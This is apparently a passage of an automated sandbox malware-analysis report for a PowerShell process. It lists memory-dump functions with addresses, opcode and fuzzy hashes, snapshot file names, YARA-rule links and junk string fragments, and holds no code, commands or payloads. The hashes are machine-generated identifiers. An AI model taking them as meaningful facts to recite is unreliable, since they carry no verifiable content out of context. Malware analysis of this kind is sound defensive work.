Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a0a897d162a48aa1695d0807ea48ae9272d7b6d465b85a1d878dd059377f2e
Instruction ID: 03226d748875a4bae4cfe4a879a2aff3e34176d460b449b707480d4305cbe1cc
Opcode Fuzzy Hash: 55a0a897d162a48aa1695d0807ea48ae9272d7b6d465b85a1d878dd059377f2e
Instruction Fuzzy Hash: 3C219D76504241DFCB06CF10E9C4B26BFB2FB84318F24C5AADD094A256C33AD46ACBA1

Function 0502F04F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb69699e82f8749078797bbb1e26de38cb25b611a27f389bbf9743ae2ba0f89
Instruction ID: cb535ba5e4c48327b22fe927bc010c9094e4e3d03b4b0a3ca15daf939f9de95d
Opcode Fuzzy Hash: dfb69699e82f8749078797bbb1e26de38cb25b611a27f389bbf9743ae2ba0f89
Instruction Fuzzy Hash: 6E117975504280DFDB16CF14E9C4B29BBB2FB84214F28C6AADC494B656C33AD44ACF62

Function 0517CA58 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f2ceea629a02465628e4ac283173438b266f495b38c08f4e4e45cfc36bc152
Instruction ID: e946be0e276d0edcf9500b7e5cc3a0a1514234db46eecb2647371e5aa1cbced8
Opcode Fuzzy Hash: 33f2ceea629a02465628e4ac283173438b266f495b38c08f4e4e45cfc36bc152
Instruction Fuzzy Hash: 22111734204B50CFC728DF79D48185ABBF6EF8921532489ADD08A8B7A0DB36EC42CB50

Function 0502D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210b3850ce87642830810233dd6cc9bd074d6af6f3419133e271ac6b9eea06a3
Instruction ID: b7770ed534e4e925391b3b5223d78f6ba5db39f057b26c68c23b918c39c36fca
Opcode Fuzzy Hash: 210b3850ce87642830810233dd6cc9bd074d6af6f3419133e271ac6b9eea06a3
Instruction Fuzzy Hash: 13015E7200D3D09EE7164B259C94766BFA8EF42224F18859BE9888F1A7C2699C46C772

Function 0502D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101d571f0f4930b7d829993483a892a41cff14b6b3151d45a5bd27dea23b33f3
Instruction ID: b0aceae311a0075a2e0537aec37032a8b964c5e1c5333b0035068ad29fb1be50
Opcode Fuzzy Hash: 101d571f0f4930b7d829993483a892a41cff14b6b3151d45a5bd27dea23b33f3
Instruction Fuzzy Hash: 3701F7320083509AE7108A25D9C4B6FBFD8EF41324F48C529ED494A196C279DC42C6B2

Function 0517D33F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162111df11139975a7f5528cc831654e47d4e7b65a939082e9c308f40b0892f9
Instruction ID: 4777f89c122a1d8b8638d74ef33dbabe7092c456054d659b82b5c9a55888deb4
Opcode Fuzzy Hash: 162111df11139975a7f5528cc831654e47d4e7b65a939082e9c308f40b0892f9
Instruction Fuzzy Hash: 5B018BB0904B598FCB249F6DA5086AEBFF0EF48304B40C92EE4AED7741C374A5048B81

Function 051791C1 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e727be5026f191d642e9276e9d3baf25d7d08a5ff93d3a4a3b7ac014d0abfbd8
Instruction ID: 69f2562fa9f104adcbe7741022504943aebc2b71d8cb47e9fcf573ea9e9e8ba2
Opcode Fuzzy Hash: e727be5026f191d642e9276e9d3baf25d7d08a5ff93d3a4a3b7ac014d0abfbd8
Instruction Fuzzy Hash: BD0126306082044BC311AB39D4183DF7BB6EFC6228F0480AAC9054B286CA3A284AC7A1

Function 0517D168 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64be863f56ee94b9f09349b60b02b43d6cb02f4278bfe9a8f327561948d43aa
Instruction ID: 6a4a59edfbd988bfca47bb6d704a29bf331444663ffcee9c70ea3e84781d2daa
Opcode Fuzzy Hash: a64be863f56ee94b9f09349b60b02b43d6cb02f4278bfe9a8f327561948d43aa
Instruction Fuzzy Hash: 19F05E353046498FC7149A1CE858C25BBF6EFCB662B1640AAF549CB376CB21DC008791

Function 0502D9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2889e2dfa912f12df0a751ec29dd398079274e0ae4c658dda9523768ef6eb824
Instruction ID: 661ee840e5e9162d100b7437352791e7f2671c861313030b1d21ff8568860da1
Opcode Fuzzy Hash: 2889e2dfa912f12df0a751ec29dd398079274e0ae4c658dda9523768ef6eb824
Instruction Fuzzy Hash: CAF0F976200610AF9724CF0AD985C27FBAEFBD4670715C55AF94A4B711C771FC42CAA0

Function 0517D1B8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ba537b2b1938f0141de639ceb5621f47de25ac9b0c1ff3d40a158acb5725fc7
Instruction ID: a917941afb4068107b7972b47e9124b4207a1a6f125919ab4fa16e95294c2f3b
Opcode Fuzzy Hash: 6ba537b2b1938f0141de639ceb5621f47de25ac9b0c1ff3d40a158acb5725fc7
Instruction Fuzzy Hash: C7F0F430A093884FCB169B78D9045EC3FB1EF85162F1880E6D904DB26BCB2498468761

Function 0517D1E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c11b1dd156857f151606472c28e2fbb1a80528b3587c11c66068ab848f0c5b1
Instruction ID: 3549eaf2ad5c5e307725b37e21ed3ed280835dd6dccdfc42d69c30db06f63604
Opcode Fuzzy Hash: 6c11b1dd156857f151606472c28e2fbb1a80528b3587c11c66068ab848f0c5b1
Instruction Fuzzy Hash: D1F0A775A0410C97C728A65DFE148E8BB76EFC8221F10C47AE555A7304DF629C4587A2

Function 0517D3A1 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d974ca62a3ca770cad4b18cd41e9eb02eda6de327cd20a41866d63d9d39b16a5
Instruction ID: 1b4c58dd516d42f1b0e0d1338f8e2087abfc7430d2bda3a5dd07c1356277bd4d
Opcode Fuzzy Hash: d974ca62a3ca770cad4b18cd41e9eb02eda6de327cd20a41866d63d9d39b16a5
Instruction Fuzzy Hash: 24F020B2784B4C0BCB22661D79148AE7BB6DFC6160344846BE018DBB42CF24880A83E6

Function 0502D998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8fd916ba22dbfba7c7cc94511ce4f2b25ec5ac41859e1ecaf775a495ad4508
Instruction ID: aa7298a627971fef1dd29bd4189fc5a65ecf8cca6dd715bb5e601137ee90acfc
Opcode Fuzzy Hash: 2b8fd916ba22dbfba7c7cc94511ce4f2b25ec5ac41859e1ecaf775a495ad4508
Instruction Fuzzy Hash: 93F0F976104680AFD725CF06C985D23BBBAFB85624B198599F89A5B352C731FC42CBA0

Function 05179240 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd61fdab145dec6aa53855b8e49afa05c469749d1800b63ff64ef3af63095e49
Instruction ID: bec8ac1aed591a7465f19d72f28c03c7043c7ff69533d0ebd46ea0704df293a9
Opcode Fuzzy Hash: dd61fdab145dec6aa53855b8e49afa05c469749d1800b63ff64ef3af63095e49
Instruction Fuzzy Hash: 7AF06D315053144FC7619B78D8A839A7BB5EF41310F04849AD55EC7292DB39A885CB92

Function 05179628 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6767f453932c3e2e1f90e5a57dcbd49e62b9cfd47e4212a5edc1762ff0c871d8
Instruction ID: 8f9074a53f674a9d2eeddd9b6a2b58910674e65d64c3035aa12833ba9fc13e15
Opcode Fuzzy Hash: 6767f453932c3e2e1f90e5a57dcbd49e62b9cfd47e4212a5edc1762ff0c871d8
Instruction Fuzzy Hash: 43E092253051586A865561BE8818AB676AE4AE7461F980376AA19D7343EA05C80683F4

Function 051791D0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27fb49db74b6a7ed02ee1cbde8e7364e252b8ed853de8ba513b79c80e5eb118
Instruction ID: da386ac3efa007563289cbde102c803bac0b3670c1ceaace53b387e3f7624d81
Opcode Fuzzy Hash: b27fb49db74b6a7ed02ee1cbde8e7364e252b8ed853de8ba513b79c80e5eb118
Instruction Fuzzy Hash: B3F0BE717002045BD710AA69D0587EF77AAEFC5628F108179CA1947389CE3E3806CBB1

Function 0517D178 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c852fb3bc5871a77ecc181aeaca04b6ad23229dcbcbe16d9e40227066fba9e36
Instruction ID: 95b8b4956d2b4527c65e55b83d11bdd29298b2158609a2bdc64c4d2c87183f36
Opcode Fuzzy Hash: c852fb3bc5871a77ecc181aeaca04b6ad23229dcbcbe16d9e40227066fba9e36
Instruction Fuzzy Hash: 5FE065393001188F83109B1DE888C26BBFAEFCE626B1540AAF549CB324CB31EC018B94

Function 0517B071 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 488f15714a7c00a53192481111720fbc59a99811403a9ab6b35101d6d96c1207
Instruction ID: 49516d44a064e54ea23ac1ac7fbbac6ffd7271cf8ed1f44d5e162f395ab27748
Opcode Fuzzy Hash: 488f15714a7c00a53192481111720fbc59a99811403a9ab6b35101d6d96c1207
Instruction Fuzzy Hash: 39E0261274C3DD078B2A413E6C184776FB749C302130881FAA1A4CB647EF42CC094390

Function 05178A50 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce34ae78f29a1e2b033efe35172c1830532ae50e4cb6d5ef5b4761efe343f08
Instruction ID: 3c0db79794df6c506d05214ee1b041b173698358b9a53568e72a536c42a79772
Opcode Fuzzy Hash: 3ce34ae78f29a1e2b033efe35172c1830532ae50e4cb6d5ef5b4761efe343f08
Instruction Fuzzy Hash: C5E0E53130471457CB082B79941C1EE7A66DBC4325F04C02EE61983242CF29690287D5

Function 05178819 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b88c7d4ce55c122bae9dcd5f17195d49b4d493131fc9a81f06a95fc6c1d1d2
Instruction ID: 4d62c5e94eab1d4382997835bae3761357dfeed076a6adb00a3b6ba8ada2501a
Opcode Fuzzy Hash: 03b88c7d4ce55c122bae9dcd5f17195d49b4d493131fc9a81f06a95fc6c1d1d2
Instruction Fuzzy Hash: B1E0923081924DA7CF19ABBCD84E8FD7F30FA11310F0041ADE41292556EB20A547CAD1

Function 051788E0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd7031a73c24d8c70b7ff89756549476900300f8401945f3cdc01f91b5ddf67d
Instruction ID: e7a338460120c89000a11be5ecf430181dc9b09a14c9e20376025348c8529e47
Opcode Fuzzy Hash: fd7031a73c24d8c70b7ff89756549476900300f8401945f3cdc01f91b5ddf67d
Instruction Fuzzy Hash: 78F0E534D1834DAFC724DB6CD4498B97FB2EB0A310F0042A8DA85972C6D7316883CB89

Function 05179250 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4da002b4c0ac83bd2edb3ad7d1560fadc114a27def44af06e5c5466f20fd22e6
Instruction ID: a5003d5ebabde5c002bd464674d63644ade115c1676813d386250ab91db9404f
Opcode Fuzzy Hash: 4da002b4c0ac83bd2edb3ad7d1560fadc114a27def44af06e5c5466f20fd22e6
Instruction Fuzzy Hash: F4F03970A013044BD3609BB8D49879ABBE9EB44310F008429D55EC3241DB39A8828B90

Function 05178A58 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4be67c9fd6ccf4cbb69de6d4a8cbe2a9b3ae93830dff2d3107988d333a627864
Instruction ID: 1ef81577ba8327c72ee5f850f09a7604e990d320eaefaa1fee60f7bc69dcc495
Opcode Fuzzy Hash: 4be67c9fd6ccf4cbb69de6d4a8cbe2a9b3ae93830dff2d3107988d333a627864
Instruction Fuzzy Hash: 8DE0263130472457CB083B78A40C2EE7A6AEBC4724F04802EE61A83347CF3A2D0387D9

Function 05179638 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65eb1454852b4254047a672176c59e8280d5596e2972b97e8ccfa2a94fb54ed
Instruction ID: 2b139204f325680de7c7611edc40141f087578c2c3a6aa8a0feffa56e917dfe6
Opcode Fuzzy Hash: b65eb1454852b4254047a672176c59e8280d5596e2972b97e8ccfa2a94fb54ed
Instruction Fuzzy Hash: C2D05E2630112967065460BE981CABBA1EF8AE58A1B550236AF2DD7343EE40CC0143F5

Function 0517D1F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 007384acb416a8c7c28e718aac42a76e4d5afed4dc0ac434ca9998ca62517610
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 36E08631B0011C978B18D59DE4108D9F7B6DFCC220F04847AD90AA7340DF32591686A1

Function 0517D3B0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 715f04d936e7a969ab34746b535c7f22a532e047db917b68a051322d56c2a6a9
Instruction ID: 93592bab8f5a6183f359b38ee4457e016dd38dbae48324ff9854540320b49aad
Opcode Fuzzy Hash: 715f04d936e7a969ab34746b535c7f22a532e047db917b68a051322d56c2a6a9
Instruction Fuzzy Hash: 60E0C2323407180B8616666EB91489FBBFBEFC5661380882EE029D7345DF64EC0587E6

Function 0517FB10 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3cf2b573cc8c684bb9f501890277147bef6da1ccd83ec9ec01ff460f4c831ed
Instruction ID: 09540ae7d152dd9dd0ce34f24c9682023e5c16224495ddf1f71e8204bf78e0ca
Opcode Fuzzy Hash: c3cf2b573cc8c684bb9f501890277147bef6da1ccd83ec9ec01ff460f4c831ed
Instruction Fuzzy Hash: 0FE01A70E4014A9F8780DFBD8981599FFF0EB49200B1585AEC549D7201E3324612CB81

Function 0517FB20 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 704199ff201b764088934e356760959a73e3bcea4af92a1ad72a07139bf6655c
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: EAD067B0D0420D9F8784EFADC98156EFBF5EB48200F6085AA8919E7301E7329A128BD1

Function 05178828 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8896d074d15c52c806f060a288af4bc6b31ad132590a126a89296d411f5bf5f6
Instruction ID: 15c29a7734d774be0ce37ea5af9be43b3fbcc622f95a6e24b321305e308f6dfc
Opcode Fuzzy Hash: 8896d074d15c52c806f060a288af4bc6b31ad132590a126a89296d411f5bf5f6
Instruction Fuzzy Hash: D3D0673181520DDBCB08EBA4E85A4FEBB34FB14301F41816DE91752196EB313A9BCAD1

Function 051788F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ddc3960e6730bdf5e13e73d501a54da942157eb24416554aa88fca910dc088
Instruction ID: 3bb539853725f87ea9dc946385dd1078547a3786643dbc159fe1fb650baddb15
Opcode Fuzzy Hash: d8ddc3960e6730bdf5e13e73d501a54da942157eb24416554aa88fca910dc088
Instruction Fuzzy Hash: 89D012309043499B8718DF68D44546D7BB5E744201F008168DA4993345D6306882CBC5

Function 05175ED0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1267b00d4752b7043bec241f5a0907bc991596533d07d1405b2c511d6a3ab5a1
Instruction ID: df4b709af618a1aec73d0b94798ad5331775b5aa9f1750d02eb3837a3e5ea07c
Opcode Fuzzy Hash: 1267b00d4752b7043bec241f5a0907bc991596533d07d1405b2c511d6a3ab5a1
Instruction Fuzzy Hash: 88C08C0101BFC8BFE31313208A000803F787403020B9F19C28180CF51389DD184E9BA2

Function 051769F8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f52c4bf068b82d1ddf7838bb2f388140f8b7881917428b8d2a0a394ca81e6126
Instruction ID: 940fff739d8920589bef06bb49beb30818cccccc578ee8be1e088f64d3b0d910
Opcode Fuzzy Hash: f52c4bf068b82d1ddf7838bb2f388140f8b7881917428b8d2a0a394ca81e6126
Instruction Fuzzy Hash: 9ED0A7300053468BC306AFB8A1559857766BF41204B04849DD45D06253CA318018CB01

Function 05176A08 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2b0b33e76172c9dae78f9c2a901ac8eca3f813380f53547454903b1566fb59
Instruction ID: 3b99f07e018fe56378f4d8e552c4ef8a0b5406937da4c956e5434ba343a96aac
Opcode Fuzzy Hash: ee2b0b33e76172c9dae78f9c2a901ac8eca3f813380f53547454903b1566fb59
Instruction Fuzzy Hash: 46B0923104670ACFC2097FB5E41881873A9FB4520978008A8E50E0B3929E36E842CE45

Non-executed Functions

Function 0517BA18 Relevance: 12.7, Strings: 10, Instructions: 176COMMON

Download Yara Rule

Strings

$^q, xrefs: 0517BB9B
$^q, xrefs: 0517BBCF
0oAp, xrefs: 0517BBA7
$^q, xrefs: 0517BC0C
$^q, xrefs: 0517BB81
$^q, xrefs: 0517BC27
$^q, xrefs: 0517BBB5
,bq, xrefs: 0517BA6D
$^q, xrefs: 0517BB10
$^q, xrefs: 0517BB67

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3629103054
Opcode ID: 92980bf11450c3cde340f64e3aac8ccfc04b156577a00bddf257ddd54369ce57
Instruction ID: b04c4c5fa425733bb13cedcba0a3c5aa8b3116eec3f8b039bd70171a3c0cb5a6
Opcode Fuzzy Hash: 92980bf11450c3cde340f64e3aac8ccfc04b156577a00bddf257ddd54369ce57
Instruction Fuzzy Hash: 7A51532038811D8BCB2DABBD55A493C3AB37B8875031198AAD456CF369EF1DC8C24753

Function 07B61080 Relevance: 11.4, Strings: 9, Instructions: 184COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 07B611B5
$^q, xrefs: 07B6110C
`Q^q, xrefs: 07B6121B
tP^q, xrefs: 07B611EF
$^q, xrefs: 07B612F1
$^q, xrefs: 07B6112D
$^q, xrefs: 07B61149
$^q, xrefs: 07B6131B
fcq, xrefs: 07B6116A

Memory Dump Source

Source File: 00000015.00000002.2468530973.0000000007B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7b60000_powershell.jbxd

Similarity

API ID:
String ID: fcq$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2306644927
Opcode ID: 976c065c89949632632c874f34c6aad8e2fe87705164414b7c17e1322ec1057e
Instruction ID: 0b4ae343eaba002fc779d9c1264a1c72f65b939f395fc9411858a4367e5daf46
Opcode Fuzzy Hash: 976c065c89949632632c874f34c6aad8e2fe87705164414b7c17e1322ec1057e
Instruction Fuzzy Hash: 51615BF0A1020EDFEB24CE4DC548BAAB7F6FB45315F5480D6EA019B2A1C739D885CB61

Function 07B63928 Relevance: 10.3, Strings: 8, Instructions: 314COMMON

Download Yara Rule

Strings

$^q, xrefs: 07B6396C
$^q, xrefs: 07B6393A
$^q, xrefs: 07B63C0E
$^q, xrefs: 07B63960
4'^q, xrefs: 07B63B35
4'^q, xrefs: 07B63B29
tP^q, xrefs: 07B639B1
tP^q, xrefs: 07B639A5

Memory Dump Source

Source File: 00000015.00000002.2468530973.0000000007B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7b60000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-3865595929
Opcode ID: 48157b29643e0b1ba54e3d178429bdcc07c8ca293b4c3450320c0efd80f5acef
Instruction ID: 16959b1ac5a8673d293ce3d80dbb6b7b4898cd911ae477670fca50efcfbbfbc2
Opcode Fuzzy Hash: 48157b29643e0b1ba54e3d178429bdcc07c8ca293b4c3450320c0efd80f5acef
Instruction Fuzzy Hash: 93A15AF17043058FE7249A69980876ABBF6EFC5710F1884AEE646CB391DE39C885C761

Function 0517EEC0 Relevance: 9.2, Strings: 7, Instructions: 455COMMON

Download Yara Rule

Strings

$^q, xrefs: 0517F244
$^q, xrefs: 0517F1E8
0oAp, xrefs: 0517F30F
`Q^q, xrefs: 0517F3D4
0oAp, xrefs: 0517F2DD
0oAp, xrefs: 0517F31B
$^q, xrefs: 0517F3FE

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
